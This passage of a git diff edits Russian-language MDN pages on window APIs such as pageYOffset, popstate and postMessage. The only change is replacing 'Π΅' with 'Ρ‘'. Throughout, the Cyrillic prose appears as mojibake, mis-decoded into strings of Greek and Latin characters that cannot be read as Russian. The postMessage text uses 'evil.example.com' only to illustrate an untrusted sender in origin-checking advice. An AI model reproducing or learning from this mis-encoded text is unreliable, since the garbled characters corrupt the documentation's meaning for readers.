-<p>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ врСмя Π² миллисСкундах с Π½Π°Ρ‡Π°Π»Π° эпохи UNIX, начиная с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎΒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ, Π½Π°Ρ‡Π°Π²ΡˆΠΈΠ΅ΡΡ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚,Β Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ сочтСны ΡƒΠΆΠ΅ Π½Π°Ρ‡Π°Π²ΡˆΠΈΠΌΠΈΡΡ. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ использовано вмСсто, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <code><a href="/en/JavaScript/Reference/Global_Objects/Date/now" title="en/JavaScript/Reference/Global Objects/Date/now">Date.now()</a></code>, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΎΒ Π±ΡƒΠ΄Π΅Ρ‚ Ρ‚Π΅ΠΌ ΠΆΠ΅ самым для Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΉ, Π½Π°Ρ‡Π°Π²ΡˆΠΈΡ…ΡΡ Π² этом ΠΎΠΊΠ½Π΅ Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ этого ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Π°, позволяя ΠΈΠΌΒ ΡΠΈΠ½Ρ…Ρ€ΠΎΠ½ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡΒ ΠΌΠ΅ΠΆΠ΄Ρƒ собой.</p>
+<p>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ врСмя Π² миллисСкундах с Π½Π°Ρ‡Π°Π»Π° эпохи UNIX, начиная с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎΒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ, Π½Π°Ρ‡Π°Π²ΡˆΠΈΠ΅ΡΡ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚,Β Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ сочтСны ΡƒΠΆΠ΅ Π½Π°Ρ‡Π°Π²ΡˆΠΈΠΌΠΈΡΡ. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ использовано вмСсто, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <code><a href="/en/JavaScript/Reference/Global_Objects/Date/now" title="en/JavaScript/Reference/Global Objects/Date/now">Date.now()</a></code>, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΎΒ Π±ΡƒΠ΄Π΅Ρ‚ Ρ‚Π΅ΠΌ ΠΆΠ΅ самым для Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΉ, Π½Π°Ρ‡Π°Π²ΡˆΠΈΡ…ΡΡ Π² этом ΠΎΠΊΠ½Π΅ Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ этого ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Π°, позволяя ΠΈΠΌΒ ΡΠΈΠ½Ρ…Ρ€ΠΎΠ½ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡΒ ΠΌΠ΅ΠΆΠ΄Ρƒ собой.</p>
<p>Π­Ρ‚ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ позволяСт анимациям JavaScript ΠΎΡΡ‚Π°Π²Π°Ρ‚ΡŒΡΡ синхронизированными с CSS ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π°ΠΌΠΈΒ ΠΈΒ SMIL анимациями, Π·Π°ΠΏΡƒΡ‰Π΅Π½Π½Ρ‹ΠΌΠΈ Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Π° обновлСния.</p>
diff --git a/files/ru/web/api/window/pageyoffset/index.html b/files/ru/web/api/window/pageyoffset/index.html
index 2ecd37d8a1..d2267fe9e8 100644
--- a/files/ru/web/api/window/pageyoffset/index.html
+++ b/files/ru/web/api/window/pageyoffset/index.html
@@ -25,7 +25,7 @@ translation_of: Web/API/Window/pageYOffset
<h3 id="Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅">Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</h3>
-<p>ΠšΠΎΠ»ΠΈΡ‡Π΅ΡΡ‚Π²ΠΎ пиксСлСй, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Β {{domxref("Document")}} ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‡Π΅Π½ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎ Π² Ρ€Π°ΠΌΠΊΠ°Ρ… ΠΎΠΊΠ½Π°Β {{domxref("Window")}}, Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΎ числом с ΠΏΠ»Π°Π²Π°ΡŽΡ‰Π΅ΠΉ запятой. Оно рассчитываСтся с ΡΡƒΠ±ΠΏΠΈΠΊΡΠ΅Π»ΡŒΠ½ΠΎΠΉ Ρ‚ΠΎΡ‡Π½ΠΎΡΡ‚ΡŒΡŽ ΠΈ, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Ρ†Π΅Π»Ρ‹ΠΌ числом. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π²Π½ΠΎΠ΅ 0.0 ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Π°Ρ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠ° Π΅Ρ‰Π΅ Π½Π΅ Π±Ρ‹Π»Π° ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π°, ΠΈ Π²Π΅Ρ€Ρ…Π½ΠΈΠΉ ΠΊΡ€Π°ΠΉ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° сСйчас соотвСтствуСт Π²Π΅Ρ€Ρ…Π½Π΅ΠΌΡƒ ΠΊΡ€Π°ΡŽ области содСрТимого ΠΎΠΊΠ½Π°.</p>
+<p>ΠšΠΎΠ»ΠΈΡ‡Π΅ΡΡ‚Π²ΠΎ пиксСлСй, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Β {{domxref("Document")}} ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‡Π΅Π½ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎ Π² Ρ€Π°ΠΌΠΊΠ°Ρ… ΠΎΠΊΠ½Π°Β {{domxref("Window")}}, Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΎ числом с ΠΏΠ»Π°Π²Π°ΡŽΡ‰Π΅ΠΉ запятой. Оно рассчитываСтся с ΡΡƒΠ±ΠΏΠΈΠΊΡΠ΅Π»ΡŒΠ½ΠΎΠΉ Ρ‚ΠΎΡ‡Π½ΠΎΡΡ‚ΡŒΡŽ ΠΈ, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Ρ†Π΅Π»Ρ‹ΠΌ числом. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π²Π½ΠΎΠ΅ 0.0 ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Π°Ρ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠ° Π΅Ρ‰Ρ‘ Π½Π΅ Π±Ρ‹Π»Π° ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π°, ΠΈ Π²Π΅Ρ€Ρ…Π½ΠΈΠΉ ΠΊΡ€Π°ΠΉ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° сСйчас соотвСтствуСт Π²Π΅Ρ€Ρ…Π½Π΅ΠΌΡƒ ΠΊΡ€Π°ΡŽ области содСрТимого ΠΎΠΊΠ½Π°.</p>
<p>Π’.ΠΊ. Π΄Π°Π½Π½ΠΎΠ΅ свойство соотвСтствуСт {{domxref("Window.scrollY")}}, ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ΡΡŒ ΠΊ Π΅Π³ΠΎ описанию за Π±ΠΎΠ»Π΅Π΅ Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠ΅ΠΉ ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈ ΠΈ использовании.</p>
@@ -81,7 +81,7 @@ document.getElementById("frame").contentDocument
</pre>
</div>
-<p>Π’ Π΄Π°Π½Π½ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ создаСтся элСмСнт {{HTMLElement("iframe")}}, ΠΈ задаСтся Π΅Π³ΠΎ содСрТимоС, Π·Π°Ρ‚Π΅ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ элСмСнт этого Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° прокручиваСтся Π² ΠΎΠ±Π»Π°ΡΡ‚ΡŒ Ρ€Π°ΠΌΠΊΠΈ. Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ это ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ»ΠΎ, выясняСтся ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠΉ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ значСния <code>pageYOffset</code>Β  Ρƒ элСмСнта {{domxref("HTMLIFrameElement.contentWindow", "contentWindow")}} Π² Ρ€Π°ΠΌΠΊΠ΅.</p>
+<p>Π’ Π΄Π°Π½Π½ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ создаётся элСмСнт {{HTMLElement("iframe")}}, ΠΈ задаётся Π΅Π³ΠΎ содСрТимоС, Π·Π°Ρ‚Π΅ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ элСмСнт этого Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° прокручиваСтся Π² ΠΎΠ±Π»Π°ΡΡ‚ΡŒ Ρ€Π°ΠΌΠΊΠΈ. Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ это ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ»ΠΎ, выясняСтся ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠΉ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ значСния <code>pageYOffset</code>Β  Ρƒ элСмСнта {{domxref("HTMLIFrameElement.contentWindow", "contentWindow")}} Π² Ρ€Π°ΠΌΠΊΠ΅.</p>
<h3 id="HTML">HTML</h3>
diff --git a/files/ru/web/api/window/popstate_event/index.html b/files/ru/web/api/window/popstate_event/index.html
index 65c7ef6a93..c2f07004b4 100644
--- a/files/ru/web/api/window/popstate_event/index.html
+++ b/files/ru/web/api/window/popstate_event/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/Window/popstate_event
---
<p>Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅ <code>popstate</code> вызываСтся, ΠΊΠΎΠ³Π΄Π° измСняСтся активная запись истории. Если ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ записи истории Π±Ρ‹Π»ΠΎ Π²Ρ‹Π·Π²Π°Π½ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌΒ <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/History_API#The_pushState()_method">history.pushState()</a></code> ΠΈΠ»ΠΈΒ <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/History_API#The_replaceState()_method">history.replaceState()</a></code>, Ρ‚ΠΎ состояниС события <code>popstate</code> Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒΒ <code>stateΒ </code>копии входящСго Π² ΠΈΡΡ‚ΠΎΡ€ΠΈΡŽ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°</p>
-<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅,Β Β <code>history.pushState()</code> ΠΈΠ»ΠΈΒ <code>history.replaceState()</code> Π½Π΅ Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‚Β ΡΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅Β <code>popstate</code>. Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅Β <code>popstate</code> Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½ΠΎ ΠΏΡ€ΠΈ ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠΈ дСйствий в Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅ ΠΊΠ½ΠΎΠΏΠΎΠΊ "Π’ΠΏΠ΅Ρ€Π΅Π΄" ΠΈΠ»ΠΈ "Назад"Β (ΠΈΠ»ΠΈ ΠΏΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅Β <code>history.back()</code>Β ΠΈΠ»ΠΈ <code> history.forward()</code> ΠΈΠ·Β JavaScript).</p>
+<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅,Β Β <code>history.pushState()</code> ΠΈΠ»ΠΈΒ <code>history.replaceState()</code> Π½Π΅ Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‚Β ΡΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅Β <code>popstate</code>. Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅Β <code>popstate</code> Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½ΠΎ ΠΏΡ€ΠΈ ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠΈ дСйствий в Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅ ΠΊΠ½ΠΎΠΏΠΎΠΊ "Π’ΠΏΠ΅Ρ€Ρ‘Π΄" ΠΈΠ»ΠΈ "Назад"Β (ΠΈΠ»ΠΈ ΠΏΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅Β <code>history.back()</code>Β ΠΈΠ»ΠΈ <code> history.forward()</code> ΠΈΠ·Β JavaScript).</p>
<p>Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ с  событиСм <code>popstate</code>Β ΠΏΠΎ Ρ€Π°Π·Π½ΠΎΠΌΡƒ.Β Chrome (prior to v34) ΠΈ Safari всСгда Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‚Β <code>popstate</code>Β ΠΏΠΎ ΠΎΠΊΠΎΠ½Ρ‡Π°Π½ΠΈΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ страницы, Π° Firefox Π½Π΅ Π΄Π΅Π»Π°Π΅Ρ‚ этого.</p>
diff --git a/files/ru/web/api/window/postmessage/index.html b/files/ru/web/api/window/postmessage/index.html
index d6db0cff3a..749e388816 100644
--- a/files/ru/web/api/window/postmessage/index.html
+++ b/files/ru/web/api/window/postmessage/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/Window/postMessage
---
<div>{{ApiRef("HTML DOM")}}</div>
-<p><strong><code>Window.postMessage()</code></strong>Β - этот ΠΌΠ΅Ρ‚ΠΎΠ΄ позволяСт бСзопасно ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ кроссдомСнныС запросы.Β ΠžΠ±Ρ‹Ρ‡Π½ΠΎ сцСнариям Π½Π° Ρ€Π°Π·Π½Ρ‹Ρ… страницах Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ доступ Π΄Ρ€ΡƒΠ³ ΠΊ Π΄Ρ€ΡƒΠ³Ρƒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли страницы,Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡ… выполняли, ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ΡΡ ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΌΡƒΒ Β ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Ρƒ (ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ это https), Π½ΠΎΠΌΠ΅Ρ€Β ΠΏΠΎΡ€Ρ‚Π° (443 β€” ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для https) ΠΈ хост (modulo {{domxref("Document.domain")}} установлСнный страницами Π½Π° ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎΠΆΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅). <code>window.postMessage()</code> прСдоставляСт ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±ΠΎΠΉΡ‚ΠΈ это ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠ΅ способом, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ бСзопасСн ΠΏΡ€ΠΈ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΌ использовании.</p>
+<p><strong><code>Window.postMessage()</code></strong>Β - этот ΠΌΠ΅Ρ‚ΠΎΠ΄ позволяСт бСзопасно ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ кроссдомСнныС запросы.Β ΠžΠ±Ρ‹Ρ‡Π½ΠΎ сцСнариям Π½Π° Ρ€Π°Π·Π½Ρ‹Ρ… страницах Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½ доступ Π΄Ρ€ΡƒΠ³ ΠΊ Π΄Ρ€ΡƒΠ³Ρƒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли страницы,Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡ… выполняли, ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ΡΡ ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΌΡƒΒ Β ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Ρƒ (ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ это https), Π½ΠΎΠΌΠ΅Ρ€Β ΠΏΠΎΡ€Ρ‚Π° (443 β€” ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для https) ΠΈ хост (modulo {{domxref("Document.domain")}} установлСнный страницами Π½Π° ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎΠΆΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅). <code>window.postMessage()</code> прСдоставляСт ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±ΠΎΠΉΡ‚ΠΈ это ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠ΅ способом, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ бСзопасСн ΠΏΡ€ΠΈ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΌ использовании.</p>
<p><font face="Open Sans, arial, x-locale-body, sans-serif">ΠŸΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β </font><code>window.postMessage()</code> ΠΎΠ½ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚Β {{domxref("MessageEvent")}} для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ Π² Ρ†Π΅Π»Π΅Π²ΠΎΠΌ ΠΎΠΊΠ½Π΅, ΠΊΠΎΠ³Π΄Π° Π·Π°Π²Π΅Ρ€ΡˆΠ°Π΅Ρ‚ΡΡ любой ΠΎΠΆΠΈΠ΄Π°ΡŽΡ‰ΠΈΠΉ сцСнарий, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Β (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΎΡΡ‚Π°Π²ΡˆΠΈΠ΅ΡΡ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ событий, Ссли <code>window.postMessage()</code> вызываСтся ΠΈΠ· ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° событий Ρ€Π°Π½Π΅Π΅ Π·Π°Π΄Π°Π½Π½Ρ‹Ρ… ΠΎΠΆΠΈΠ΄Π°ΡŽΡ‰ΠΈΡ… Ρ‚Π°ΠΉΠΌΠ°ΡƒΡ‚ΠΎΠ²).Β {{domxref("MessageEvent")}} ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΠΈΠΏΒ Β <code>message</code>,Β <code>data-свойство</code> которого устанавливаСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° Π² ΠΌΠ΅Ρ‚ΠΎΠ΄Π΅Β <code>window.postMessage()</code>, свойство <code>origin</code>  соотвСтствуСт адрСсу основного Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° Π² Π²Ρ‹Π·ΠΎΠ²Π΅Β <code>window.postMessage</code>Β Π²ΠΎ врСмя  Π²Ρ‹Π·ΠΎΠ²Π°Β <code>window.postMessage()</code>, свойство <code>source</code>Β ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° ΠΎΠΊΠ½ΠΎ, ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎΒ <code>window.postMessage()</code>Β Π²Ρ‹Π·Π²Π°Π»ΠΈ. (Π”Ρ€ΡƒΠ³ΠΈΠ΅ стандартныС свойства событий ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΡ‹Π΅ значСния)</p>
@@ -54,7 +54,7 @@ function receiveMessage(event)
<p><strong>Если Π²Ρ‹ Π½Π΅ ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚Π΅ получСния сообщСния ΠΎΡ‚ Π΄Ρ€ΡƒΠ³ΠΈΡ… сайтов, Π½Π΅ добавляйтС обработчики событий <code>message</code>.</strong> Π­Ρ‚ΠΎ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ способ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ с Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒΡŽ.</p>
-<p>Если ΠΆΠ΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ сообщСния ΠΎΡ‚ Π΄Ρ€ΡƒΠ³ΠΈΡ… сайтов, Ρ‚ΠΎ всСгда Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ отправитСля, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ <code>origin</code> ΠΈ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΒ <code>source</code> свойства. Π›ΡŽΠ±ΠΎΠΉ сайт (Π²ΠΊΠ»ΡŽΡ‡Π°Ρ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <code class="nowiki">http://evil.example.com</code>) ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ сообщСния Π»ΡŽΠ±Ρ‹ΠΌ Π΄Ρ€ΡƒΠ³ΠΈΠΌ, ΠΈ Ρƒ вас Π½Π΅Ρ‚ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΠΈ, Ρ‡Ρ‚ΠΎ нСизвСстный ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚Π΅Π»ΡŒ Π½Π΅ ΠΏΠΎΡˆΠ»Π΅Ρ‚ врСдоносныС сообщСния. Однако Π΄Π°ΠΆΠ΅ Ссли ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚Π΅Π»ΡŒ извСстСн, Π²Π°ΠΌ всС Ρ€Π°Π²Π½ΠΎ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ всСгда ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€ΠΆΠ΄Π°Ρ‚ΡŒ синтаксис ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌΠΎΠ³ΠΎ сообщСния. Π˜Π½Π°Ρ‡Π΅, Π΄Ρ‹Ρ€Π° Π² бСзопасности сайта, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ Π²Ρ‹ довСряСтС, ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ Π΄Ρ‹Ρ€Ρƒ для мСТсайтового скриптинга Π½Π° вашСм сайтС.</p>
+<p>Если ΠΆΠ΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ сообщСния ΠΎΡ‚ Π΄Ρ€ΡƒΠ³ΠΈΡ… сайтов, Ρ‚ΠΎ всСгда Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ отправитСля, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ <code>origin</code> ΠΈ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΒ <code>source</code> свойства. Π›ΡŽΠ±ΠΎΠΉ сайт (Π²ΠΊΠ»ΡŽΡ‡Π°Ρ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <code class="nowiki">http://evil.example.com</code>) ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ сообщСния 